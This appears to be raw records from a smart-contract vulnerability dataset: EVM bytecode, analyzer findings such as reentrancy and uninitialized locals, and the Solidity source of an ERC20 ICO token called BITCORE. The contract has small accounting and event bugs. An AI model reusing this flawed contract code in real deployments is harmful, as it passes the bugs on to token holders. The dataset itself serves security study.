061026a61046a3660046124ad565b6112d6565b34801561047b57600080fd5b5061022861048a366004612682565b6112fe565b34801561049b57600080fd5b506102976104aa3660046126fe565b61150e565b3480156104bb57600080fd5b506102286104ca366004612552565b61153f565b3480156104db57600080fd5b506101fb6115ee565b3480156104f057600080fd5b50610228611667565b34801561050557600080fd5b50610228610514366004612582565b611677565b34801561052557600080fd5b5061029761053436600461273a565b61172e565b34801561054557600080fd5b506102286105543660046124ad565b611896565b34801561056557600080fd5b506102286105743660046126c9565b6119d4565b34801561058557600080fd5b5061026a6105943660046124cb565b611b20565b3480156105a557600080fd5b506102286105b43660046127b1565b611b59565b3480156105c557600080fd5b50610228611f8a565b6105d66121ee565b5073ffffffffffffffffffffffffffffffffffffffff80831660009081526002602081815260408084209486168452938201815291839020835160a081018552600182015494810194855291810154606083015260038101546080830152928152600490920154908201525b92915050565b6005805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156106ec5780601f106106c1576101008083540402835291602001916106ec565b820191906000526020600020905b8154815290600101906020018083116106cf57829003601f168201915b505050505081565b73ffffffffffffffffffffffffffffffffffffffff33811660009081526002602081815260408084209487168452939091019052908120815460ff161561074c5782158061074157508054155b151561074c57600080fd5b8281600001819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516107b29190612b03565b60405180910390a35060019392505050565b73ffffffffffffffffffffffffffffffffffffffff33811660008181526002602081815260408084209587168085529583019091528083206001810184905591820183905560038201839055600490910182905551909291907f7f321b39581bf86dddbaa9ddeec3e0740b71f116b22c14cf346cb71d91fd0832908490a3506001919050565b60075481565b6003543373ffffffffffffffffffffffffffffffffffffffff90811691161461087857600080fd5b61088181611f93565b50565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b6003543373ffffffffffffffffffffffffffffffffffffffff9081169116146108c857600080fd5b61088181611ffa565b60008060008060008060019054906101000a900460ff1615156108f357600080fd5b50505073ffffffffffffffffffffffffffffffffffffffff808616600090815260026020818152604080842080543390961685529283019091529091208054919350908286111561094357600080fd5b8086111561095057600080fd5b8583038455858103825573ffffffffffffffffffffffffffffffffffffffff8088166000818152600260205260409081902080548a0190555190918a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109bb908a90612b03565b60405180910390a3506001979650505050505050565b73ffffffffffffffffffffffffffffffffffffffff338116600090815260026020818152604080842094881684529390910190529081208054828415610a2857610a21828763ffffffff61205b16565b9050610a35565b81861015610a3557508481035b8083600001819055508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a9b9190612b03565b60405180910390a35060019695505050505050565b601281565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156106ec5780601f106106c1576101008083540402835291602001916106ec565b73ffffffffffffffffffffffffffffffffffffffff3381166000908152600260208181526040808420948716845293909101905290812080548290610b78908563ffffffff61206b16565b90508082600001819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be09190612b03565b60405180910390a3600192505b505092915050565b6003543373ffffffffffffffffffffffffffffffffffffffff908116911614610c1d57600080fd5b81306000357fffffffff000000000000000000000000000000000000000000000000000000001685604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610d1d57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610ce0565b5181516020939093036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909116921691909117905260405192018290038220600480547fc36625280000000000000000000000000000000000000000000000000000000085529198508a975089965073ffffffffffffffffffffffffffffffffffffffff909116945063c36625289350610dc5928892508791879101612a5a565b60206040518083038186803b158015610ddd57600080fd5b505afa158015610df1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e15919081019061271c565b1515610e2057600080fd5b610e298661207b565b505050505050565b60008054610100900460ff161515610e4857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610e8357600080fd5b610e8d8484611677565b1515610e9857600080fd5b815160441115610ea757600080fd5b8260248301523360448301528373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015610ef6578181015183820152602001610ede565b50505050905090810190601f168015610f235780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610f4357600080fd5b5060019392505050565b73ffffffffffffffffffffffffffffffffffffffff3381166000908152600260208181526040808420948816845293909101905290812080548414610f9157600080fd5b8281600001819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585604051610ff79190612b03565b60405180910390a3506001949350505050565b60005462010000900460ff1681565b6003543373ffffffffffffffffffffffffffffffffffffffff90811691161461104157600080fd5b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040517fd56ed7b1c1110348b1fbf418469f6fc4acc32d9b675e9e1e448cc19169a64ca090600090a250565b600054610100900460ff1681565b73ffffffffffffffffffffffffffffffffffffffff808316600090815260026020818152604080842094861684529184019052812054825491929161110391906120bd565b949350505050565b600480546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916111679133913091600091369101612a14565b60206040518083038186803b15801561117f57600080fd5b505afa158015611193573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111b7919081019061271c565b15156111c257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16636901f6686040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561122457600080fd5b505afa158015611238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061125c919081019061271c565b151561126757600080fd5b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040517f1e03f798432da753fa76bd6d807748d894d4e59e05731b05fff74173f35464d190600090a250565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b60008060008060008060008060008060019054906101000a900460ff16151561132657600080fd5b6000546301000000900460ff16151561133e57600080fd5b73ffffffffffffffffffffffffffffffffffffffff3316600090815260026020526040812060019a50985096505b8a51871015611500578a8781518110151561138357fe5b602090810290910181015173ffffffffffffffffffffffffffffffffffffffff8082166000908152600280855260408083208054339095168452808301909652909120600381015491810154939a50939850909650600190920194506113f090429063ffffffff61205b16565b8115156113f957fe5b04600101915061141583600001600001548385600301546120d6565b90508381111561148d57891561142a57600080fd5b600098503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f3a2e3d0ecec3142514fb77933d7647fd6c7cf9f76de44841c91ceadaa38a956560405160405180910390a36114f5565b80840385558754810188556003830182905560405173ffffffffffffffffffffffffffffffffffffffff33811691908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ec908590612b03565b60405180910390a35b60019096019561136c565b505050505050505092915050565b6003543373ffffffffffffffffffffffffffffffffffffffff90811691161461153657600080fd5b61088181612102565b6040805180820182528281526000602080830182815273ffffffffffffffffffffffffffffffffffffffff3381168085526002808552878620928a1680875292810185528786209651805160018901559485015190870155928601516003860155905160049094019390935592519092907fa25dcfb713acdeba8b55101aa403f8ce07b4d6f33b0cebf81226fe558a28c56b906115dd908690612ae7565b60405180910390a350600192915050565b6006805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156106ec5780601f106106c1576101008083540402835291602001916106ec565b6000546301000000900460ff1681565b6000805481908190610100900460ff16151561169257600080fd5b505073ffffffffffffffffffffffffffffffffffffffff331660009081526002602052604090208054808411156116c857600080fd5b838103825573ffffffffffffffffffffffffffffffffffffffff808616600081815260026020526040908190208054880190555190913316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be0908890612b03565b6003543373ffffffffffffffffffffffffffffffffffffffff90811691161461175657600080fd5b604080518381526c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff3081169190910260208301527fffffffff000000000000000000000000000000000000000000000000000000006000351660348301527f01000000000000000000000000000000000000000000000000000000000000008615150260388301529151908190036039018120600480547fc36625280000000000000000000000000000000000000000000000000000000084529193869386939091169163c3662528916118329187918791879101612a5a565b60206040518083038186803b15801561184a57600080fd5b505afa15801561185e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611882919081019061271c565b151561188d57600080fd5b610e2986612164565b600080600080600080600060019054906101000a900460ff1615156118ba57600080fd5b6000546301000000900460ff1615156118d257600080fd5b73ffffffffffffffffffffffffffffffffffffffff808816600090815260026020818152604080842080543390961685528084019092529092206003810154918101549298509296506001909201945061193390429063ffffffff61205b16565b81151561193c57fe5b04600101915061195883600001600001548385600301546120d6565b90508381111561196757600080fd5b808403855573ffffffffffffffffffffffffffffffffffffffff33811660008181526002602052604090819020805485019055600386018590555190918916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a9b908590612b03565b60008060008060008060008060019054906101000a900460ff1615156119f957600080fd5b73ffffffffffffffffffffffffffffffffffffffff33166000908152600260205260408120965093505b8751841015611afe5760608885815181101515611a3c57fe5b906020019060200201519060020a900492508784815181101515611a5c57fe5b602090810290910101516bffffffffffffffffffffffff169150611a86858363ffffffff61206b16565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526002602052604090819020805487019055519297509133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611aeb908690612b03565b60405180910390a3600190930192611a23565b50845480851115611b0e57600080fd5b93909303909355506001949350505050565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526002602081815260408084209490951683529201909152205490565b60008060008060008060019054906101000a900460ff161515611b7b57600080fd5b60005462010000900460ff161515611b9257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614151515611bcd57600080fd5b60018d8d8d8d8d604051808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183815260200182805190602001908083835b60208310611c7457805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611c37565b6001836020036101000a03801982511681845116808217855250505050505090500195505050505050604051809103902089898960405160008152602001604052604051611cc59493929190612a90565b6020604051602081039080840390855afa158015611ce7573d6000803e3d6000fd5b5050604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015173ffffffffffffffffffffffffffffffffffffffff81166000908152600260205291909120600181015491965094508e149050611d4c57600080fd5b611d5d8d600163ffffffff61206b16565b600184015582549150611d768a8d63ffffffff61206b16565b905081811115611d8557600080fd5b808203835573ffffffffffffffffffffffffffffffffffffffff808c166000818152600260205260409081902080548e0190555190918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611deb908e90612b03565b60405180910390a38b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8e604051611ea09190612b03565b60405180910390a3611ec78b73ffffffffffffffffffffffffffffffffffffffff166121c4565b1515611f7757885160441115611edc57600080fd5b8960248a01528360448a01528a73ffffffffffffffffffffffffffffffffffffffff168960405180828051906020019080838360005b83811015611f2a578181015183820152602001611f12565b50505050905090810190601f168015611f575780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515611f7757600080fd5b5060019c9b505050505050505050505050565b60005460ff1681565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168215151790556040517f0742a23da401b3f99c3da7b7508a78f0faf0098b7e54106be805c671dd91300790611fef908390612a4c565b60405180910390a150565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff1662010000831515021790556040517f8557fc9589f24ba6adfed162065f291fe9d7e55aff6a9b2924dcd6c2cfce875590611fef908390612a4c565b8082038281111561064257600080fd5b8082018281101561064257600080fd5b80517f862d2bb6b8cf31caf965347718f48b7d2ac43dd5af10d2040d8da4fde4f38550906120b090600190602085019061220f565b604051611fef9190612ad6565b6000818311156120cd57816120cf565b825b9392505050565b60008084116120e457600080fd5b8183116120f057600080fd5b6111038284038563ffffffff6121c916565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff166301000000831515021790556040517f93365d0422216fbe0e6a095101b1602da2d51549500da385b7d0920e6eb0db1390611fef908390612a4c565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100831515021790556040517ff6ff712ce1a864d00b4e395a3226b3b51837947e34df82826504708e4da4739390611fef908390612a4c565b3b1590565b8181028215806121e357508183828115156121e057fe5b04145b151561064257600080fd5b60806040519081016040528061220261228d565b8152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061225057805160ff191683800117855561227d565b8280016001018555821561227d579182015b8281111561227d578251825591602001919060010190612262565b506122899291506122af565b5090565b6060604051908101604052806000815260200160008152602001600081525090565b6122c991905b8082111561228957600081556001016122b5565b90565b60006120cf8235612bbd565b6000601f820183136122e957600080fd5b81356122fc6122f782612b46565b612b1f565b9150818183526020840193506020810190508385602084028201111561232157600080fd5b60005b8381101561234d578161233788826122cc565b8452506020928301929190910190600101612324565b5050505092915050565b6000601f8201831361236857600080fd5b81356123766122f782612b46565b9150818183526020840193506020810190508385602084028201111561239b57600080fd5b60005b8381101561234d57816123b188826123df565b845250602092830192919091019060010161239e565b60006120cf8235612bd6565b60006120cf8251612bd6565b60006120cf82356122c9565b6000601f820183136123fc57600080fd5b813561240a6122f782612b67565b9150808252602083016020830185838301111561242657600080fd5b612431838284612bec565b50505092915050565b60006120cf8235612be1565b60006060828403121561245857600080fd5b6124626060612b1f565b9050600061247084846123df565b8252506020612481848483016123df565b6020830152506040612495848285016123df565b60408301525092915050565b60006120cf8235612bdb565b6000602082840312156124bf57600080fd5b600061110384846122cc565b600080604083850312156124de57600080fd5b60006124ea85856122cc565b92505060206124fb858286016122cc565b9150509250929050565b60008060006060848603121561251a57600080fd5b600061252686866122cc565b9350506020612537868287016122cc565b9250506040612548868287016123df565b9150509250925092565b6000806080838503121561256557600080fd5b600061257185856122cc565b92505060206124fb85828601612446565b6000806040838503121561259557600080fd5b60006125a185856122cc565b92505060206124fb858286016123df565b6000806000606084860312156125c757600080fd5b60006125d386866122cc565b93505060206125e4868287016123df565b9250506040612548868287016123c7565b60008060006060848603121561260a57600080fd5b600061261686866122cc565b9350506020612627868287016123df565b925050604084013567ffffffffffffffff81111561264457600080fd5b612548868287016123eb565b60008060006060848603121561266557600080fd5b600061267186866122cc565b9350506020612537868287016123df565b6000806040838503121561269557600080fd5b823567ffffffffffffffff8111156126ac57600080fd5b6126b8858286016122d8565b92505060206124fb858286016123c7565b6000602082840312156126db57600080fd5b813567ffffffffffffffff8111156126f257600080fd5b61110384828501612357565b60006020828403121561271057600080fd5b600061110384846123c7565b60006020828403121561272e57600080fd5b600061110384846123d3565b60008060006060848603121561274f57600080fd5b600061261686866123c7565b60006020828403121561276d57600080fd5b6000611103848461243a565b60008060006060848603121561278e57600080fd5b833567ffffffffffffffff8111156127a557600080fd5b612616868287016123eb565b600080600080600080600080610100898b0312156127ce57600080fd5b60006127da8b8b6123df565b98505060206127eb8b828c016123df565b97505060406127fc8b828c016122cc565b965050606061280d8b828c016123df565b955050608089013567ffffffffffffffff81111561282a57600080fd5b6128368b828c016123eb565b94505060a06128478b828c016124a1565b93505060c06128588b828c016123df565b92505060e06128698b828c016123df565b9150509295985092959890939650565b61288281612bbd565b82525050565b61288281612bd6565b612882816122c9565b60008284526020840193506128b0838584612bec565b6128b983612c24565b9093019392505050565b60006128ce82612bb9565b8084526128e2816020860160208601612bf8565b6128eb81612c24565b9093016020019392505050565b61288281612be1565b60008154600181166000811461291e576001811461295a57610bed565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0082166020860152604085019250610bed565b6002820480865260208601955061297085612bad565b60005b8281101561298f57815488820152600190910190602001612973565b9096019695505050505050565b805160608301906129ad8482612891565b5060208201516129c06020850182612891565b5060408201516129d36040850182612891565b50505050565b805160808301906129ea848261299c565b5060208201516129d36060850182612891565b61288281612bdb565b602081016106428284612879565b60608101612a228287612879565b612a2f60208301866128f8565b8181036040830152612a4281848661289a565b9695505050505050565b602081016106428284612888565b60608101612a688286612891565b612a756020830185612891565b8181036040830152612a8781846128c3565b95945050505050565b60808101612a9e8287612891565b612aab60208301866129fd565b612ab86040830185612891565b612a876060830184612891565b602080825281016120cf81846128c3565b602080825281016120cf8184612901565b60608101610642828461299c565b6080810161064282846129d9565b602081016106428284612891565b6020810161064282846129fd565b60405181810167ffffffffffffffff81118282101715612b3e57600080fd5b604052919050565b600067ffffffffffffffff821115612b5d57600080fd5b5060209081020190565b600067ffffffffffffffff821115612b7e57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b60ff1690565b600061064282612bbd565b82818337506000910152565b60005b83811015612c13578181015183820152602001612bfb565b838111156129d35750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a72305820a3091c49b8e1ed52ed256dcd8558abbd150be35f4e901b78e52c1323a494be556c6578706572696d656e74616cf50037
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,052 |
0xf252a9865eb42460afc81b15c8f3f1ef8bb13704
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 21000*10**18;
uint256 public constant basePrice = 5*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 16000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title Sekem Klean SemualToken
* @dev Contract to create the Sekem Token
**/
contract BITCORE is CrowdsaleToken {
string public constant name = "BITCORE";
string public constant symbol = "BitCore";
uint32 public constant decimals = 18;
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104bf578063095ea7b31461054f57806318160ddd146105b457806323b872dd146105df578063313ce56714610664578063355274ea1461069b578063518ab2a8146106c657806366188463146106f157806370a082311461075657806389311e6f146107ad5780638da5cb5b146107c4578063903a3ef61461081b57806395d89b4114610832578063a9059cbb146108c2578063bf58390314610927578063c7876ea414610952578063cbcb31711461097d578063d73dd623146109a8578063dd62ed3e14610a0d578063f2fde38b14610a84575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a6670de0b6b3a7640000610198674563918244f4000088610ac790919063ffffffff16565b610aff90919063ffffffff16565b935060009250690472698b413b432000006101cc85600354610b1590919063ffffffff16565b1115610246576101f1600354690472698b413b43200000610b3190919063ffffffff16565b9150610228670de0b6b3a764000061021a674563918244f4000085610aff90919063ffffffff16565b610ac790919063ffffffff16565b905061023d8186610b3190919063ffffffff16565b92508094508193505b61025b84600354610b1590919063ffffffff16565b600381905550610280600354690472698b413b43200000610b3190919063ffffffff16565b600481905550600083111561033c573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102d5573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b61038d846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044984600154610b1590919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104b7573d6000803e3d6000fd5b505050505050005b3480156104cb57600080fd5b506104d4610b4a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105145780820151818401526020810190506104f9565b50505050905090810190601f1680156105415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055b57600080fd5b5061059a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b83565b604051808215151515815260200191505060405180910390f35b3480156105c057600080fd5b506105c9610c75565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b5061064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7f565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b50610679611039565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106a757600080fd5b506106b061